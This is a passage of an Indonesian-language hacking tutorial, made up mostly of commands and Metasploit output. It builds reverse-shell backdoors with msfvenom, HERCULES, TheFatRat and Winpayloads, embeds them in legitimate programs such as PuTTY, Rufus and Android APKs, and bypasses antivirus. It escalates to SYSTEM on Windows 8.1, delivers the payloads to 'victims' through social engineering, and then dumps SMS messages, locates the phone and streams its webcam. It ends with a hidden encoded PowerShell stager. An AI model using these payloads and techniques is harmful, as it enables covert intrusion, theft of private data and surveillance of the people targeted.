[*] Done.  Verify privileges manually or use 'getuid' if using meterpreter to ve
rify exploitation.
[*] Meterpreter session 2 opened (192.168.1.101:1000 -> 192.168.1.58:49231) at 2
017-01-16 09:38:23 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter >
```

Hasilnya seperti atas, saat di ketikkan getuid, muncul outputnya NT AUTHORITY\SYSTEM atau sudah akses penuh.

Referensi jika ingin target Linux dan Mac : http://netsec.ws/?p=331

27.3 Msfvenom untuk backdoor pada target Windows 8.1 dan mendapatkan akses administrator Windows 8.1 (Local Exploit)

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=1000 -f exe > shell.exe

Kirim shell.exe ke target Windows 8.1 msfconsole

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.1.101

set lport 1000

exploit

Target Windows 8.1 menjalankan shell.exe

```
msf exploit(handler) > set lport 1000
lport => 1000
msf exploit(handler) > exploit

[*] Started reverse TCP handler on 192.168.1.101:1000
[*] Starting the payload handler...
[*] Sending stage (957999 bytes) to 192.168.1.128
[*] Meterpreter session 1 opened (192.168.1.101:1000 -> 192.168.1.128:59855) at 2016-09-18 23:47:59 +0000

meterpreter > background
[*] Backgrounding session 1...
msf exploit(handler) > search ms15
[!] Module database cache not built yet, using slow search

Matching Modules
================

   Name                                                     Disclosure Date  Rank       Description
   ----                                                     ---------------  ----       -----------
   auxiliary/dos/http/ms15_034_ulonglongadd                                  normal     MS15-034 HTTP
ol Stack Request Handling Denial-of-Service
   auxiliary/gather/ie_uxss_injection                       2015-02-01       normal     MS15-018 Micro
nternet Explorer 10 and 11 Cross-Domain JavaScript Injection
   auxiliary/scanner/http/ms15_034_http_sys_memory_dump                      normal     MS15-034 HTTP
ol Stack Request Handling HTTP.SYS Memory Information Disclosure
   auxiliary/server/ms15_134_mcl_leak                       2015-12-08       normal     MS15-134 Micro
indows Media Center MCL Information Disclosure
```

Lakukan seperti di atas

```
   exploit/windows/fileformat/ms15_100_mcl_exe                    2015-09-08
indows Media Center MCL Vulnerability
   exploit/windows/local/ms15_004_tswbproxy                        2015-01-13
emote Desktop Services Web Proxy IE Sandbox Escape
   exploit/windows/local/ms15_051_client_copy_image                2015-05-12
age Win32k Exploit
   exploit/windows/local/ms15_078_atmfd_bof                        2015-07-11
indows Font Driver Buffer Overflow
   exploit/windows/local/ntapphelpcachecontrol                     2014-09-30
indows NtApphelpCacheControl Improper Authorization Check
   exploit/windows/smb/ms15_020_shortcut_icon_dllloader            2015-03-10
ell LNK Code Execution
```

Set exploit/windows/local/ntapphelpcachecontrol

```
msf exploit(handler) > use exploit/windows/local/ntapphelpcachecontrol
msf exploit(ntapphelpcachecontrol) > set session 1
session => 1
msf exploit(ntapphelpcachecontrol) > set lport 1000
lport => 1000
msf exploit(ntapphelpcachecontrol) > set lhost 192.168.1.101
lhost => 192.168.1.101
msf exploit(ntapphelpcachecontrol) > exploit

[*] Started reverse TCP handler on 192.168.1.101:1000
[*] Uploading the payload DLL
[*] Payload DLL will be: C:\Users\data\AppData\Local\Temp\AjQMKm.dll
[*] Injecting exploit into PID 5116
[*] Creating thread
[*] Sending stage (957999 bytes) to 192.168.1.128
[*] Meterpreter session 2 opened (192.168.1.101:1000 -> 192.168.1.128:59866) at 2016-09-18 23:49:59 +0000

meterpreter > getuid
Server username: powerdata\data
```

eksploitasi seperti di atas

```
meterpreter > getuid
Server username: powerdata\data
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : POWERDATA
OS              : Windows 8.1 (Build 9600).
Architecture    : x86
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/win32
meterpreter >
```

Hasil setelah melakukan local exploit untuk meningkatkan hak akses di Windows 8.1

27.4 Membangun backdoor untuk Windows 10 yang sekaligus juga bypass Windows Defender / Antivirus internal Windows 10)

HERCULES is a special payload generator that can bypass antivirus softwares.

https://github.com/EgeBalci/HERCULES

```
root@kalidata:~# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.1.26  netmask 255.255.255.0  broadcast 192.168.1.255
        inet6 fe80::a00:27ff:fe9d:fcab  prefixlen 64  scopeid 0x20<link>
        ether 08:00:27:9d:fc:ab  txqueuelen 1000  (Ethernet)
        RX packets 388  bytes 26635 (26.0 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 23  bytes 1652 (1.6 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 0  (Local Loopback)
        RX packets 20  bytes 1200 (1.1 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 20  bytes 1200 (1.1 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

root@kalidata:~#
```

Ketik ifconfig lalu enter, disitu tampil ip address 192.168.1.26

Ketik HERCULES lalu enter

Ketik 1 lalu enter

Ketik 4 lalu enter

Isi LHOST

```
~~~~~#
# HERCULES REVERSE SHELL                    | 4.4 MB / 1.1
     #
#==========================================================
=====#

[*] Enter LHOST : 192.168.1.26

[*] Enter LPORT : 1000
```

Isi LPORT

```
#==========================================================
=====#
#     SELECTED PAYLOAD                      |     SIZE/UPX     |  A
ore  #
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~|~~~
~~~~~#
# HERCULES REVERSE SHELL                    | 4.4 MB / 1.1 MB  |
     #
#==========================================================
=====#

[*] Enter LHOST : 192.168.1.26

[*] Enter LPORT : 1000

[*] Enter the base name for output files : program-aja
```

Isi nama file program backdoor

```
[*] Compiling payload...

[*] export GOOS=windows && export GOARCH=386 && go build -ldflags "-H win
 -s -w" program-aja.go

[?] Do you want to compress the payload with UPX (y/n) :n
```

Pilih n

```
# HERCULES REVERSE SHELL                    | 4.4 MB / 1.1 MB  |        9/10
[*] Payload Size : 4.4 MB

[*] Payload saved at : /$HOME/program-aja.exe

root@kalidata:~# cd /home
root@kalidata:/home# cd /root
root@kalidata:~# ls -l program-aja.exe
-rwxr-xr-x 1 root root 2992640 Jan 12 11:24 program-aja.exe
root@kalidata:~#
```

Untuk melihat hasil jadinya

cd /root

ls -l program-aja.exe

```
root@kalidata:~# ls -l program-aja.exe
-rwxr-xr-x 1 root root 2992640 Jan 12 11:24 program-aja.exe
root@kalidata:~# cp program-aja.exe /var/www/html
root@kalidata:~# service apache2 start
root@kalidata:~#
```

Salin program-aja.exe ke /var/www/htm lalu jalankan apache server

Windows Defender aktif

Untuk akses :

Untuk liat drive c:\, maka "dir c:\", jika untuk share dengan net use z: (map drive), nantinya untuk melihat dengan cara "dir z:\".

27.4 Target Android

Jika targetnya adalah android perintah yang dapat digunakan : msfpayload android/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 R > app.apk

LHOST diisikan ip address kamu

Hasilnya adalah kamu akan mendapatkan file app.apk, file ini di jalankan di komputer

target, caranya kamu dapat memanfaatkan social engineering.

Berikutnya jalankan exploit/multi/handler, tujuannya agar korban yang menjalankan file

app.apk langsung menghubungi komputer kamu dan kamu bisa meremotenya, kamu bisa

mendapatkan isi sms dan sebagainya.

msfconsole

use exploit/multi/handler

set payload android/meterpreter/reverse_tcp

set lhost 192.168.1.100 (ip address komputer kamu)

set lport 4444

exploit

27.5 Memasukkan backdoor dalam program executable

Memasukkan backdoor didalam program executable dengan msfvenom

Contoh program yang diuji adalah program Putty

```
root@kalidata:/home/kurniawan# wget http://192.168.1.9/putty.exe
--2016-04-21 18:25:54--  http://192.168.1.9/putty.exe
Connecting to 192.168.1.9:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 531368 (519K) [application/octet-stream]
Saving to: 'putty.exe'

putty.exe           100%[===================>] 518.91K  --.-KB/s    in 0.008s

2016-04-21 18:25:54 (63.9 MB/s) - 'putty.exe' saved [531368/531368]

root@kalidata:/home/kurniawan# msfvenom -p windows/meterpreter/reverse_tcp -f ex
e -e x86/shikata_ga_nai -i 1 -k -x /home/kurniawan/putty.exe LHOST=192.168.1.105
 LPORT=4444 > puttyaja.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the paylo
ad
No Arch selected, selecting Arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 360 (iteration=0)
x86/shikata_ga_nai chosen with final size 360
Payload size: 360 bytes
```

msfvenom -p windows/meterpreter/reverse_tcp -f exe -e x86/shikata_ga_nai -i 1 -k -x /home/kurniawan/putty.exe LHOST=192.168.1.105 LPORT=4444 > puttyaja.exe

Hasilnya akan muncul program puttyaja.exe

Sebelum target mengeksekusi program puttyaja.exe jalankan :

msfconsole

Use exploit/multi/handler

Set payload windows/meterpreter/reverse_tcp

Set lhost 192.168.1.105

Set lport 4444

exploit

```
Metasploit Pro -- learn more on http://rapid7.com/metasploit

       =[ metasploit v4.11.5-2016010401                   ]
+ -- --=[ 1517 exploits - 875 auxiliary - 257 post         ]
+ -- --=[ 437 payloads - 37 encoders - 8 nops              ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.105
lhost => 192.168.1.105
msf exploit(handler) > set lport 4444
lport => 4444
msf exploit(handler) > exploit

[*] Started reverse TCP handler on 192.168.1.105:4444
[*] Starting the payload handler...
[*] Sending stage (957487 bytes) to 192.168.1.58
[*] Meterpreter session 1 opened (192.168.1.105:4444 -> 192.168.1.58:49170) at 2
016-04-21 18:34:16 -0400

meterpreter >
```

Saat target mengeksekusi file puttyaja.exe maka komputer target akan teremote seperti di atas.

27.6 Alternatif lain menggunakan TheFatRat

An easy tool to generate backdoor with msfvenom (a part from metasploit framework) and easy post exploitation attack. This tool compiles a malware with popular payload and then the compiled malware can be execute on windows, android, mac . The malware that created with this tool also have an ability to bypass most AV software protection.

Sumber : https://github.com/Screetsec/TheFatRat

```
root@kalidata:/home# cd TheFatRat-master/
root@kalidata:/home/TheFatRat-master# ls -l
total 1156
-rw-r--r-- 1 root root   1060 Feb 22 13:32 abpirXwe.html
drwxr-xr-x 2 root root   4096 Feb 17 18:49 autorun
drwxr-xr-x 3 root root   4096 Feb 22 13:29 backdoored
-rw-r--r-- 1 root root   1997 Feb 17 18:49 CHANGELOG.md
-rw-r--r-- 1 root root    825 Feb 17 18:49 Dockerfile
-rwxrwxrwx 1 root root  87249 Feb 17 18:49 fatrat
drwxr-xr-x 2 root root   4096 Feb 17 18:49 icons
-rw-r--r-- 1 root root   1079 Feb 17 18:49 LICENSE
-rw-r--r-- 1 root root 204227 Feb 22 13:33 L0EybJyG.jpeg
drwxr-xr-x 2 root root   4096 Feb 22 13:29 output
drwxr-xr-x 2 root root   4096 Feb 17 18:49 PE
drwxr-xr-x 2 root root   4096 Feb 17 18:49 postexploit
-rw-r--r-- 1 root root   6857 Feb 17 18:49 powerfull.sh
-rw-r--r-- 1 root root 407142 Feb 17 18:49 prog.c
-rw-r--r-- 1 root root 407142 Feb 17 18:49 prog.c.backup
-rw-r--r-- 1 root root   6028 Feb 17 18:49 README.md
drwxr-xr-x 2 root root   4096 Feb 17 18:49 setup
drwxr-xr-x 2 root root   4096 Feb 22 13:31 temp
drwxr-xr-x 2 root root   4096 Feb 17 18:49 tools
root@kalidata:/home/TheFatRat-master# ./fatrat
```

./fatrat

```
root@kalidata: /home/TheFatRat-master
File  Edit  View  Search  Terminal  Help

-- -- +=[(c) 2016-2017 | dracos-linux.org | Linuxsec.org | Hacker Indonesia
-- -- +=[ Author: Screetsec < Edo Maland >  ]=+ -- --

[!]::[Check Dependencies]:
[✔]::[Distro]: Kali
[✔]::[Check User]: root
[✔]::[Internet Connection]: connected!
[✔]::[apache2 Server Kali ]: installation found!
[✔]::[msfconsole]: installation found!
[✔]::[msfvenom]: installation found!
[✔]::[Zenity]: installation found!
[✔]::[mingw32]: installation found!
[✔]::[backdoor-factory]: installation found!
[✔]::[ruby]: installation found!
[✔]::[monodevelop]: installation found!
```

```
WARNING !  WARNING ! WARNING ! WARNING ! WARNING !
YOU CAN UPLOAD OUTPUT/BACKDOOR FILE TO WWW.NODISTRIBUTE.COM

PLEASE DON'T UPLOAD BACKDOOT TO WWW.VIRUSTOTAL.COM
YOU CAN UPLOAD OUTPUT/BACKDOOR FILE TO WWW.NODISTRIBUTE.COM

Press any key to continue .............
```

```
[--]   Backdoor Creator for Remote Acces [--]
[--]  Created by: Edo Maland (Screetsec) [--]
[--]            Version: 1.8             [--]
[--]          Codename: Sparta           [--]
[--]   Follow me on Github: @Screetsec   [--]
[--]   Dracos Linux : @dracos-linux.org  [--]
[--]                                     [--]
[--]     SELECT AN OPTION TO BEGIN:      [--]
[--]                                     [--]

      [01]  Create Backdoor with msfvenom
      [02]  Create Fud 100% Backdoor [Slow but Powerfull]
      [03]  Create Fud Backdoor with Avoid v1.2
      [04]  Create Fud Backdoor with backdoor-factory [embed]
      [05]  Backdooring Original apk [Instagram, Line,etc]
      [06]  Create Fud Backdoor 1000% with PwnWinds [Excelent]
      [07]  Create auto listeners
      [08]  Jump to msfconsole
      [09]  Searchsploit
      [10]  File Pumper [Increase Your Files Size]
      [11]  Cleanup
      [12]  Help
      [13]  Credits
      [14]  Exit

Screetsec@Fatrat  4
```

Tekan 4 lalu enter

```
root@kalidata:/home/TheFatRat-master# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.1.29  netmask 255.255.255.0  broadcas
        inet6 fe80::a00:27ff:fe56:f729  prefixlen 64  scop
        ether 08:00:27:56:f7:29  txqueuelen 1000  (Etherne
        RX packets 1023  bytes 76651 (74.8 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 32  bytes 2333 (2.2 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  coll

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 0  (Local Loopback)
        RX packets 47  bytes 18485 (18.0 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 47  bytes 18485 (18.0 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  coll

root@kalidata:/home/TheFatRat-master#
```

Ip address komputer attacker

```
[06]  Create Fud Backdoor 1000% with
[07]  Create auto listeners
[08]  Jump to msfconsole
[09]  Searchsploit
[10]  File Pumper [Increase Your File
[11]  Cleanup
[12]  Help
[13]  Credits
[14]  Exit

Screetsec@Fatrat: 4

++++++++++++++++++++++++++++++++++++++++++++
Set LHOST IP: 192.168.1.29
Set LPORT: 1000
```

Ip address dan port yang digunakan

```
root@kalidata: /home
File  Edit  View  Search  Terminal  Help
root@kalidata:/home/TheFatRat-master# cd /home
root@kalidata:/home# ls rufus.exe
rufus.exe
root@kalidata:/home# ls -l rufus.exe
-rw-r--r-- 1 root root 937592 Jan 13 16:59 rufus.exe
root@kalidata:/home#
```

File rufus.exe ada di /home

Masukkan /home/rufus jika ditanyakan lokasi file yang ingin dimasukkan payload

```
*] Gathering file info
*] UPX packed, continuing...
*] Reading win32 entry instructions
*] Gathering file info
*] UPX packed, continuing...
*] Overwriting certificate table pointer
*] Looking for and setting selected shellcode
*] Creating win32 resume execution stub
*] Looking for caves that will fit the minimum shellcode lengt
*] All caves lengths:  366
##########################################################
he following caves can be used to inject code and possibly
ontinue execution.
*Don't like what you see? Use jump, single, append, or ignore.
##########################################################
*] Cave 1 length as int: 366
*] Available caves:
. Section Name: .rsrc; Section Begin: 0xd8200 End: 0xe2400; Ca
. Section Name: .rsrc; Section Begin: 0xd8200 End: 0xe2400; Ca
. Section Name: .rsrc; Section Begin: 0xd8200 End: 0xe2400; Ca
. Section Name: .rsrc; Section Begin: 0xd8200 End: 0xe2400; Ca
**********************************************************
!] Enter your selection: 1
```

Pilih 1

```
root@kalidata:/home/TheFatRat-master# cd backdoored/
root@kalidata:/home/TheFatRat-master/backdoored# ls -l
total 4
drwxr-xr-x 2 root root 4096 Feb 25 08:40 output
root@kalidata:/home/TheFatRat-master/backdoored# cd output
root@kalidata:/home/TheFatRat-master/backdoored/output# ls -l
total 6456
-rw-r--r-- 1 root root 4744192 Feb 21 09:13 mirc.exe
-rw-r--r-- 1 root root      70 Feb 17 18:49 README.md
-rw-r--r-- 1 root root  926720 Feb 25 08:43 rufusbaru.exe
-rw-r--r-- 1 root root  926720 Feb 21 08:48 rufus.exe
root@kalidata:/home/TheFatRat-master/backdoored/output#
```

Hasilnya seperti di atas

```
Version: 1.8
Codename: Sparta
Follow me on Github: @Screetsec
Dracos Linux : @dracos-linux.org

SELECT AN OPTION TO BEGIN:

[01] Create Backdoor with msfvenom
[02] Create Fud 100% Backdoor [Slow but Powerfull]
[03] Create Fud Backdoor with Avoid v1.2
[04] Create Fud Backdoor with backdoor-factory [embed]
[05] Backdooring Original apk [Instagram, Line,etc]
[06] Create Fud Backdoor 1000% with PwnWinds [Excelent]
[07] Create auto listeners
[08] Jump to msfconsole
[09] Searchsploit
[10] File Pumper [Increase Your Files Size]
[11] Cleanup
[12] Help
[13] Credits
[14] Exit

Screetsec@Fatrat: 7
```

Tekan angka 7 lalu enter untuk menggunakan exploit/multi/handler secara otomatis dari metasploit

```
>> v1.3
Created by Edo Maland ( Screetsec )

[1] Liseners for payload linux
[2] Liseners for payload Windows
[3] Liseners for payload Mac
[4] Liseners for payload Android
[5] Back to Menu

Listeners$fatrat:>> 2
```

Tekan angka 2 lalu enter

Pilih seperti di atas

Pilih auto_migrate_killfirewall.rc

```
Created by  Edo Maland  ( S

[1]  Liseners for payload linux
[2]  Liseners for payload Windows
[3]  Liseners for payload Mac
[4]  Liseners for payload Android
[5]  Back to Menu

Listeners$fatrat:>> 2

* (zenity:2220): WARNING **: Couldn't connect to accessib
tk-Message: GtkDialog mapped without a transient parent.

* (zenity:2231): WARNING **: Couldn't connect to accessib
tk-Message: GtkDialog mapped without a transient parent.

Set LHOST IP: 192.168.1.29
Set LPORT: 1000
```

Pilih 2

Masukkan LHOST dan LPORT

```
+ -- --=[ 437 payloads - 37 encoders - 8 nops              ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

[*] Processing temp/meterpreter_windows.rc for ERB directives.
resource (temp/meterpreter_windows.rc)> use exploit/multi/handler
resource (temp/meterpreter_windows.rc)> set PAYLOAD windows/shell/reverse_tcp
PAYLOAD => windows/shell/reverse_tcp
resource (temp/meterpreter_windows.rc)> set LHOST 192.168.1.29
LHOST => 192.168.1.29
resource (temp/meterpreter_windows.rc)> set LPORT 1000
LPORT => 1000
resource (temp/meterpreter_windows.rc)> set AutoRunScript multi_console_command
-rc /home/TheFatRat-master/postexploit/auto_migrate+killfirewall.rc
AutoRunScript => multi_console_command -rc /home/TheFatRat-master/postexploit/au
to_migrate+killfirewall.rc
resource (temp/meterpreter_windows.rc)> set ExitOnSession false
ExitOnSession => false
resource (temp/meterpreter_windows.rc)> exploit -j
[*] Exploit running as background job.

[*] Started reverse TCP handler on 192.168.1.29:1000
[*] Starting the payload handler...
msf exploit(handler) >
```

Exploit/multi/handler digunakan

Korban mengakses file rufusbaru.exe

sessions -i 1

```
[*] Started reverse TCP handler on 192.168.1.29:1000
[*] Starting the payload handler...
msf exploit(handler) > [*] Encoded stage with x86/shika
[*] Sending encoded stage (267 bytes) to 192.168.1.57
[*] Command shell session 1 opened (192.168.1.29:1000 -
2017-02-25 09:25:09 -0500
[*] Session ID 1 (192.168.1.29:1000 -> 192.168.1.57:492
ipt 'multi_console_command -rc /home/TheFatRat-master/p
illfirewall.rc'
[-] The specified script could not be found: multi_cons
msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights r

C:\Users\windows7\Desktop>More?
```

Masuk dalam computer korban

Komputer ip korban 192.168.1.57

27.7 Memasukkan backdoor dalam file APK

Ada beberapa program yang dibutuhkan seperti apk-embed-payload.rb, signapk.jar dan sebagainya.

Di sini contoh file APK yang akan di masukkan backdoor adalah aplikasi 21.apk.

Perintah yang dijalankan sebagai berikut.

ruby apk-embed-payload.rb 21.apk -p android/meterpreter/reverse_tcp lhost=192.168.1.105 lport=1000

java -jar signapk.jar testkey.x509.pem testkey.pk8 21_backdoored.apk 21baru.apk

```
msf > use exploit/multi/handler
msf exploit(handler) > set payload android/meterpreter/reverse_tcp
payload => android/meterpreter/reverse_tcp
msf exploit(handler) > set lport 1000
lport => 1000
msf exploit(handler) > set lhost 192.168.1.105
lhost => 192.168.1.105
msf exploit(handler) > exploit

[*] Started reverse TCP handler on 192.168.1.105:1000
[*] Starting the payload handler...
```

27.8 Alternatif lain memasukkan backdoor dalam file APK dengan TheFatRat

```
Backdoor Creator for Remote Acces
Created by: Edo Maland (Screetsec)
Version: 1.8
Codename: Sparta
Follow me on Github: @Screetsec
Dracos Linux : @dracos-linux.org

SELECT AN OPTION TO BEGIN:

[01] Create Backdoor with msfvenom
[02] Create Fud 100% Backdoor [Slow but Powerfull]
[03] Create Fud Backdoor with Avoid v1.2
[04] Create Fud Backdoor with backdoor-factory [embed]
[05] Backdooring Original apk [Instagram, Line,etc]
[06] Create Fud Backdoor 1000% with PwnWinds [Excelent]
[07] Create auto listeners
[08] Jump to msfconsole
[09] Searchsploit
[10] File Pumper [Increase Your Files Size]
[11] Cleanup
[12] Help
[13] Credits
[14] Exit

Screetsec@Fatrat: 5
```

```
root@kalidata:/home# ls -l kompas.apk
-rw-r--r-- 1 root root 2848533 Feb 21 08:32 kompas.apk
root@kalidata:/home#
```

Embed a Metasploit
This script is POC for injecti
android/meterpreter/reverse_https
android/meterpreter/reverse_tcp
android/shell/reverse_http
android/shell/reverse_https
android/shell/reverse_tcp
Cancel
OK
SET LHOST : 192.168.1.29
SET LPORT : 1000
Located Original Apk file for embed (example:/home/TheFatRat-master/PE/in
agram.apk) :/home/kompas.apk
** (zenity:2747): WARNING **: Couldn't connect to accessibility bus: Addre
does not contain a colon
Gtk-Message: GtkDialog mapped without a transient parent. This is discoura

enerate Backdoor
| Name | Descript | Your Input
| LHOST | The Listen Addres | 192.168.1.29
| LPORT | The Listen Ports | 1000
| OUTPUTNAME | The Filename output | Apk_embed_backdoor.apk

```
[*] Decompiling payload APK..
[*] Locating onCreate() hook..
[*] Copying payload files..
[*] Loading output/original/smali/com/kunda/compassindonesian/MainActivity.s
mali and injecting payload..
[*] Poisoning the manifest with meterpreter permissions..
[*] Adding android.permission.CHANGE_WIFI_STATE
[*] Adding android.permission.ACCESS_COURSE_LOCATION
[*] Adding android.permission.READ_PHONE_STATE
[*] Adding android.permission.SEND_SMS
[*] Adding android.permission.RECEIVE_SMS
[*] Adding android.permission.RECORD_AUDIO
[*] Adding android.permission.CALL_PHONE
[*] Adding android.permission.READ_CONTACTS
[*] Adding android.permission.WRITE_CONTACTS
[*] Adding android.permission.RECORD_AUDIO
[*] Adding android.permission.WRITE_SETTINGS
[*] Adding android.permission.CAMERA
[*] Adding android.permission.READ_SMS
[*] Adding android.permission.WRITE_EXTERNAL_STORAGE
[*] Adding android.permission.RECEIVE_BOOT_COMPLETED
[*] Rebuilding output/fatrat.apk with meterpreter injection as output/fatrat
_backdoored.apk..
[*] Signing output/fatrat_backdoored.apk ..
[+] Infected file output/fatrat_backdoored.apk ready.

 Your payload has been successfully embed with sign and is located here ( ou
tput folder )
```

```
root@kalidata:/home/TheFatRat-master#
root@kalidata:/home/TheFatRat-master#
root@kalidata:/home/TheFatRat-master# ls
abpirXwe.html  Dockerfile  L0EybJyG.jpeg  powerfull.sh   setup
autorun        fatrat      output         prog.c         temp
backdoored     icons       PE             prog.c.backup  tools
CHANGELOG.md   LICENSE     postexploit    README.md
root@kalidata:/home/TheFatRat-master# cd output
root@kalidata:/home/TheFatRat-master/output# ls -l
total 2792
-rw-r--r-- 1 root root 2858163 Feb 25 09:53 Apk_embed_backdoor.apk
root@kalidata:/home/TheFatRat-master/output#
```

```
root@kalidata:/home/TheFatRat-master/output# ls -l
total 2792
-rw-r--r-- 1 root root 2858163 Feb 25 09:53 Apk_embed_backdoor.apk
root@kalidata:/home/TheFatRat-master/output# mv Apk_embed_backdoor.apk kompa
sbaru.apk
root@kalidata:/home/TheFatRat-master/output# ls -l
total 2792
-rw-r--r-- 1 root root 2858163 Feb 25 09:53 kompasbaru.apk
root@kalidata:/home/TheFatRat-master/output# cp kompasbaru.apk /var/www/html
root@kalidata:/home/TheFatRat-master/output#
```

Masukkan lhost 192.168.1.29 lalu lport 1000. Disesuaikan dengan payload yang dibuat sebelumnya.

```
       =[ metasploit v4.11.5-2016010401                   ]
+ -- --=[ 1517 exploits - 875 auxiliary - 257 post        ]
+ -- --=[ 437 payloads - 37 encoders - 8 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

[*] Processing temp/meterpreter_android.rc for ERB directives.
resource (temp/meterpreter_android.rc)> use exploit/multi/handler
resource (temp/meterpreter_android.rc)> set PAYLOAD android/meterpreter/reverse_
tcp
PAYLOAD => android/meterpreter/reverse_tcp
resource (temp/meterpreter_android.rc)> set LHOST 192.168.1.29
LHOST => 192.168.1.29
resource (temp/meterpreter_android.rc)> set LPORT 1000
LPORT => 1000
resource (temp/meterpreter_android.rc)> set ExitOnSession false
ExitOnSession => false
resource (temp/meterpreter_android.rc)> exploit -j
[*] Exploit running as background job.

[*] Started reverse TCP handler on 192.168.1.29:1000
[*] Starting the payload handler...
msf exploit(handler) >
```

```
LHOST => 192.168.1.29
resource (temp/meterpreter_android.rc)> set LPORT 1000
LPORT => 1000
resource (temp/meterpreter_android.rc)> set ExitOnSession false
ExitOnSession => false
resource (temp/meterpreter_android.rc)> exploit -j
[*] Exploit running as background job.

[*] Started reverse TCP handler on 192.168.1.29:1000
[*] Starting the payload handler...
msf exploit(handler) > [*] Sending stage (60790 bytes) to 192.168.1.101
[*] Meterpreter session 1 opened (192.168.1.29:1000 -> 192.168.1.101:41507) at 2
017-02-25 10:34:32 -0500
sessions -i 1
[*] Starting interaction with 1...

meterpreter >
```

```
    check_root        Check if device is rooted
    dump_calllog      Get call log
    dump_contacts     Get contacts list
    dump_sms          Get sms messages
    geolocate         Get current lat-long using geolocation
    interval_collect  Manage interval collection capabilities
    send_sms          Send SMS from target session
    wlan_geolocate    Get current lat-long using WLAN information

meterpreter > geolocate
[*] Current Location:
        Latitude:  -7.8245643
        Longitude: 110.3592374

To get the address: https://maps.googleapis.com/maps/api/geocode/json?latlng=-7.
8245643,110.3592374&sensor=true

meterpreter > dump_sms
[*] Fetching 116 sms messages
[*] SMS messages saved to: sms_dump_20170225103624.txt
meterpreter >
```

```
Android Commands
================

    Command           Description
    -------           -----------
    check_root        Check if device is rooted
    dump_calllog      Get call log
    dump_contacts     Get contacts list
    dump_sms          Get sms messages
    geolocate         Get current lat-long using geolocation
    interval_collect  Manage interval collection capabilities
    send_sms          Sends SMS from target session
    wlan_geolocate    Get current lat-long using WLAN information

meterpreter > webcam_list
1: Back Camera
meterpreter > webcam_stream
```

```
meterpreter > webcam_list
1: Back Camera
meterpreter > webcam_stream
[*] Starting...
[*] Preparing player...
[*] Opening player at: CmuEwDYC.html
[*] Streaming...
```

Metasploit webcam_s...
file:///home/TheFatRat-master/CmuEwDYC.html
Most Visited
Offensive Security
Kali Linux
Kali Docs
Kali Tools
Exploit-DB
Target IP : 192.168.1.101
Start time : 2017-02-25 10:43:58 -0500
Status :

Materi sisipan

Winpayloads

Undetectable Windows Payload Generation with extras Running on Python2.7

Download : https://github.com/nccgroup/Winpayloads

```
root@ubuntuserverx:/home/data/winpayload/winpayloads# ls -l
total 40
drwxr-xr-x 3 root root 4096 Jan 27 17:19 lib
-rw-r--r-- 1 root root 9140 Jan 27 16:57 LICENCE
-rwxr-xr-x 1 root root 1953 Jan 27 16:57 README.md
-rw-r--r-- 1 root root 1172 Jan 27 17:15 server.crt
-rw-r--r-- 1 root root 1679 Jan 27 17:15 server.key
-rwxr-xr-x 1 root root 3615 Jan 27 16:57 setup.sh
drwxr-xr-x 2 root root 4096 Jan 27 17:33 stager
-rwxr-xr-x 1 root root 1797 Jan 27 16:57 WinPayloads.py
root@ubuntuserverx:/home/data/winpayload/winpayloads# python WinPayloads.py
```

Python WinPayloads

```
                                    /____/NCCGroup - CharlieDean
=================================Main Menu=================================
1: Windows Reverse Shell
2: Windows Meterpreter Reverse Shell [uacbypass, persistence, allchecks]
3: Windows Meterpreter Bind Shell [uacbypass, persistence, allchecks]
4: Windows Meterpreter Reverse HTTPS [uacbypass, persistence, allchecks]
5: Windows Meterpreter Reverse Dns [uacbypass, persistence, allchecks]
ps: PowerShell Menu
stager: Powershell Stager
clients: Stager Connected Clients

?: Print Detailed Help
back: Main Menu
exit: Exit
===========================================================================
Main Menu > stager
[?] (b)ind/[r]everse/(m)anual: r
powershell -w hidden -noni -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUA
